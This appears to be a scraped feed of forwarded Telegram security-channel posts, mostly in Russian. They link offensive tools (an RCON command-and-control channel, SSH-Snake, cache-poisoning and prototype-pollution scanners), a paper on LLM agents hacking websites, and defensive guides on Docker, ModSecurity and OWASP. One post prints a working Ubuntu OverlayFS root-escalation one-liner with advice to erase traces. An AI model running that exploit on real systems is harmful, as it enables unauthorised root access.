Forwarded from Offensive Xwitter
😈 [ eversinc33 @eversinc33 ]
Small experiment today, inspired by @kaganisildak, using RCON protocol, as used by e.g. CS 1.6 as a C2 channel for the lulz.
🔗 https://github.com/eversinc33/1.6-C2
🐥 [ tweet ]
Small experiment today, inspired by @kaganisildak, using RCON protocol, as used by e.g. CS 1.6 as a C2 channel for the lulz.
🔗 https://github.com/eversinc33/1.6-C2
🐥 [ tweet ]
Forwarded from Offensive Xwitter
This media is not supported in your browser
VIEW IN TELEGRAM
😈 [ eversinc33 @eversinc33 ]
Yea yea, EDR bypass this, VEH that, but have you every ran mimikatz while surfing in 1.6.? 😎😎
🐥 [ tweet ]
Yea yea, EDR bypass this, VEH that, but have you every ran mimikatz while surfing in 1.6.? 😎😎
🐥 [ tweet ]
Forwarded from Код и Капуста
Forwarded from Похек (Сергей Зыбнев)
Ubuntu Privilege escalation
CVE-2023-32629 & CVE-2023-2640
#linux #LPE #полезное
PoC:
📌 Не забывайте убрать следы эксплуатации (папки l u w m):
🌚 @poxek
CVE-2023-32629 & CVE-2023-2640
#linux #LPE #полезное
PoC:
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash\")'"
rm -rf l u w m
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from HackGit
pphack
The Most Advanced Client-Side Prototype Pollution Scanner
https://github.com/edoardottt/pphack
#cybersecurity #infosec #pentesting
The Most Advanced Client-Side Prototype Pollution Scanner
https://github.com/edoardottt/pphack
#cybersecurity #infosec #pentesting
Forwarded from Похек (Сергей Зыбнев)
Ultimate_Flipper_Zero_CheatSheet_Hack_&_Secure_InfoSec_Write_ups.pdf
3.6 MB
Признайтесь честно, у кого Flipper лежит в шкафу/полке и просто пылиться?
#полезное
🔥 Всем обладателям флипера советую почитать: The Ultimate Guide / CheatSheet to Flipper Zero
🌚 @poxek
#полезное
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from AppSec Journey
Спасибо тем, кто делает крутые штуки и опенсорсит их.
Я недавно рефлексировала на тему того, что делать надо в первую очередь с кайфом, а деньги всегда догонят.
Так что, ловите - DevSecOps-студия (симулятор жизни аппсека)))
Научитесь крутить секьюрные пайплайны без избыточных затрат по времени😉
Я недавно рефлексировала на тему того, что делать надо в первую очередь с кайфом, а деньги всегда догонят.
Так что, ловите - DevSecOps-студия (симулятор жизни аппсека)))
Научитесь крутить секьюрные пайплайны без избыточных затрат по времени😉
GitHub
GitHub - michalkoczwara/DevSecOps-Studio: Virtual environment for learning DevSecOps
Virtual environment for learning DevSecOps. Contribute to michalkoczwara/DevSecOps-Studio development by creating an account on GitHub.
Forwarded from CyberSecurityTechnologies (-CST-)
LLM_hack_websites.pdf
618.2 KB
#MLSecOps
"LLM Agents can Autonomously Hack Websites", 2024.
"LLM Agents can Autonomously Hack Websites", 2024.
Forwarded from The Bug Bounty Hunter
GitHub - xhzeem/toxicache: Go scanner to find web cache poisoning vulnerabilities in a list of URLs
https://github.com/xhzeem/toxicache
https://github.com/xhzeem/toxicache
GitHub
GitHub - xhzeem/toxicache: Go scanner to find web cache poisoning vulnerabilities in a list of URLs
Go scanner to find web cache poisoning vulnerabilities in a list of URLs - xhzeem/toxicache
Forwarded from Proxy Bar
SSH-Snake Tool for ....lulz
*
Это идеальное сочетание лени, глупости и божьей искры )))
То есть чуваки написали утилиту на базе ssh для КАРТОГРАФИРОВАНИЯ локалки, бегает с закрытыми ключами и бед не знает.
Ну не удивительно что черные шляпы мигом взяли на вооружение 😆
Правильное название должно быть
ТДН во все поля )
*
SSH-Snake
*
Почитать
#worm #ssh
*
Это идеальное сочетание лени, глупости и божьей искры )))
То есть чуваки написали утилиту на базе ssh для КАРТОГРАФИРОВАНИЯ локалки, бегает с закрытыми ключами и бед не знает.
Ну не удивительно что черные шляпы мигом взяли на вооружение 😆
Правильное название должно быть
ssh-wormТДН во все поля )
*
SSH-Snake
*
Почитать
#worm #ssh
Forwarded from GitHub repos
hyperdiv/hyperdiv
Build reactive web UIs in Python
Language: Python
#framework #python #reactive #ui #web
Stars: 432 Issues: 9 Forks: 3
https://github.com/hyperdiv/hyperdiv
Build reactive web UIs in Python
Language: Python
#framework #python #reactive #ui #web
Stars: 432 Issues: 9 Forks: 3
https://github.com/hyperdiv/hyperdiv
GitHub
GitHub - hyperdiv/hyperdiv: Build reactive web UIs in Python
Build reactive web UIs in Python. Contribute to hyperdiv/hyperdiv development by creating an account on GitHub.
Forwarded from white2hack 📚
ModSecurity 3.0 and NGINX: Quick Start Guide by Faisal Memon, Owen Garrett, and Michael Pleshakov, 2018
ModSecurity is an open source web application firewall (WAF). ModSecurity protects applications against a broad range of Layer 7 attacks, such as SQL injection (SQLi), local file inclusion (LFI), and cross‑site scripting (XSS). These three attack vectors together accounted for 95% of known Layer 7 attacks.
This ebook was created to help you get up and running with ModSecurity 3.0 and NGINX Open Source, or ModSecurity 3.0 and NGINX Plus, as quickly and easily as possible. It covers how to install, enable the major features of, and troubleshoot ModSecurity 3.0.
#book #web #defensive
ModSecurity is an open source web application firewall (WAF). ModSecurity protects applications against a broad range of Layer 7 attacks, such as SQL injection (SQLi), local file inclusion (LFI), and cross‑site scripting (XSS). These three attack vectors together accounted for 95% of known Layer 7 attacks.
This ebook was created to help you get up and running with ModSecurity 3.0 and NGINX Open Source, or ModSecurity 3.0 and NGINX Plus, as quickly and easily as possible. It covers how to install, enable the major features of, and troubleshoot ModSecurity 3.0.
#book #web #defensive
Forwarded from white2hack 📚
ModSecurity_3_NGINX_Quick_Start_Guide (2).pdf
5.1 MB
ModSecurity 3.0 and NGINX: Quick Start Guide by Faisal Memon, Owen Garrett, and Michael Pleshakov, 2018
Forwarded from Cybred
Docker Security – Step-by-Step Hardening
Самый подробный гайд о безопасной настройке Docker в 2024 году. Шаг за шагом руководство обучит харденить докер — цель не просто представить сухой список параметров и готовые фрагменты конфигурации, а расписать все подробно и кратко.
Intro
— Prerequisites
— Secure configuration
Docker Host
— Working Environment
— Configuration audit
— Lynis
— Docker Bench for Security
Docker Daemon
— Access control to Docker Daemon
— Securing docker.sock
— Granting and revoking permissions
— Avoiding privileged mode
— Access to devices
— Blocking the ability to “granting” (acquiring) permissions
— Privilege escalation and Linux namespaces
— Rootless mode
— Container communication (container isolation)
— Read-only mode
— Resource utilization control
— Connecting to a remote Docker Daemon
— Event logging
Containers Security
— Selecting the Right Image
— Docker Content Trust (DCT)
— Using your own images
— Docker build and URL
— “latest” tag
— USER command
— Force UID
— .dockerignore
Automatic images scanning
— Trivy
— Docker Scout
Core
— AppArmor
— Seccomp
— SELinux
Misc
— The final piece of the puzzle – application security
— Docker Desktop Security
— Updating Software
— Additional sources of knowledge – where to find information about vulnerabilities
— History of Changes
— Support & Feedback
Самый подробный гайд о безопасной настройке Docker в 2024 году. Шаг за шагом руководство обучит харденить докер — цель не просто представить сухой список параметров и готовые фрагменты конфигурации, а расписать все подробно и кратко.
Intro
— Prerequisites
— Secure configuration
Docker Host
— Working Environment
— Configuration audit
— Lynis
— Docker Bench for Security
Docker Daemon
— Access control to Docker Daemon
— Securing docker.sock
— Granting and revoking permissions
— Avoiding privileged mode
— Access to devices
— Blocking the ability to “granting” (acquiring) permissions
— Privilege escalation and Linux namespaces
— Rootless mode
— Container communication (container isolation)
— Read-only mode
— Resource utilization control
— Connecting to a remote Docker Daemon
— Event logging
Containers Security
— Selecting the Right Image
— Docker Content Trust (DCT)
— Using your own images
— Docker build and URL
— “latest” tag
— USER command
— Force UID
— .dockerignore
Automatic images scanning
— Trivy
— Docker Scout
Core
— AppArmor
— Seccomp
— SELinux
Misc
— The final piece of the puzzle – application security
— Docker Desktop Security
— Updating Software
— Additional sources of knowledge – where to find information about vulnerabilities
— History of Changes
— Support & Feedback
Web top 10
https://owasp.org/Top10/
Api top 10
https://owasp.org/API-Security/
Ci/Cd top 10
https://github.com/OWASP/www-project-top-10-ci-cd-security-risks/raw/3204d6d181e2a5517ffdcbe208fb536b9cc6c50b/assets/OWASP_Top_10_CICD_Risks.pdf
Kuber top 10
https://owasp.org/www-project-kubernetes-top-ten/
Docker top 10
https://owasp.org/www-project-docker-top-10/
Mobile top 10
https://github.com/OWASP/www-project-mobile-top-10/releases/download/v1.0/OWASP_Mobile_Security_Top-10-2024.pdf
Desktop top 10
https://owasp.org/www-project-desktop-app-security-top-10/
LLM top 10
https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v1_1.pdf
CloudNative top 10
https://owasp.org/www-project-cloud-native-application-security-top-10/
Insider Threats top 10
https://owasp.org/www-project-top-10-insider-threats/
Privacy Risks top 10
https://owasp.org/www-project-top-10-privacy-risks/
https://owasp.org/Top10/
Api top 10
https://owasp.org/API-Security/
Ci/Cd top 10
https://github.com/OWASP/www-project-top-10-ci-cd-security-risks/raw/3204d6d181e2a5517ffdcbe208fb536b9cc6c50b/assets/OWASP_Top_10_CICD_Risks.pdf
Kuber top 10
https://owasp.org/www-project-kubernetes-top-ten/
Docker top 10
https://owasp.org/www-project-docker-top-10/
Mobile top 10
https://github.com/OWASP/www-project-mobile-top-10/releases/download/v1.0/OWASP_Mobile_Security_Top-10-2024.pdf
Desktop top 10
https://owasp.org/www-project-desktop-app-security-top-10/
LLM top 10
https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v1_1.pdf
CloudNative top 10
https://owasp.org/www-project-cloud-native-application-security-top-10/
Insider Threats top 10
https://owasp.org/www-project-top-10-insider-threats/
Privacy Risks top 10
https://owasp.org/www-project-top-10-privacy-risks/
Forwarded from Волосатый бублик
#proxy #rotate
Многофункциональная штука, но я использую как "прокси-ротатор". Ранее я упоминал Mubeng как неплохой инструмент для решения этой задачи, однако столкнулся с тем что часть утилит работает нормально, а часть приводит его к "panic: runtime error: ..........", разбиратсья в хитросплетениях многопоточности этой штуки мне лень.
Глайдер при этом работает. Простейший пример запуска:
./config.conf
./glider -config ./config.conf
mubeng must die, glider forever!
https://github.com/nadoo/glider
Многофункциональная штука, но я использую как "прокси-ротатор". Ранее я упоминал Mubeng как неплохой инструмент для решения этой задачи, однако столкнулся с тем что часть утилит работает нормально, а часть приводит его к "panic: runtime error: ..........", разбиратсья в хитросплетениях многопоточности этой штуки мне лень.
Глайдер при этом работает. Простейший пример запуска:
./config.conf
listen=http://:9090
strategy=rr
forward=socks5://user:password@xx.xx.xx.x:port
forward=socks5://user:password@xx.xx.xx.x:port
forward=socks5://user:password@xx.xx.xx.x:port
........
./glider -config ./config.conf
mubeng must die, glider forever!
https://github.com/nadoo/glider
Forwarded from Внутрянка
Материал про пентест 1С
Ardent101
Еще 1 раз про пентест 1С
Введение Настоящий материал по большей части состоит из общедоступных наработок других людей. Целью было проверить указанные наработки на практике и собрать получившиеся результаты в одном месте. Именно этим объясняется название статьи.
Продолжу рассуждение…
Продолжу рассуждение…
Forwarded from Записки админа
This media is not supported in your browser
VIEW IN TELEGRAM
🕹 Ну, во-первых, это красиво, а во-вторых, это можно запустить на своём сервере. Игра Hat Trick прямо по SSH...
https://github.com/ricott1/sshattrick
#tui #игори #ssh
P. S. Сервер автора, похоже, недоступен в данный момент.
https://github.com/ricott1/sshattrick
#tui #игори #ssh
P. S. Сервер автора, похоже, недоступен в данный момент.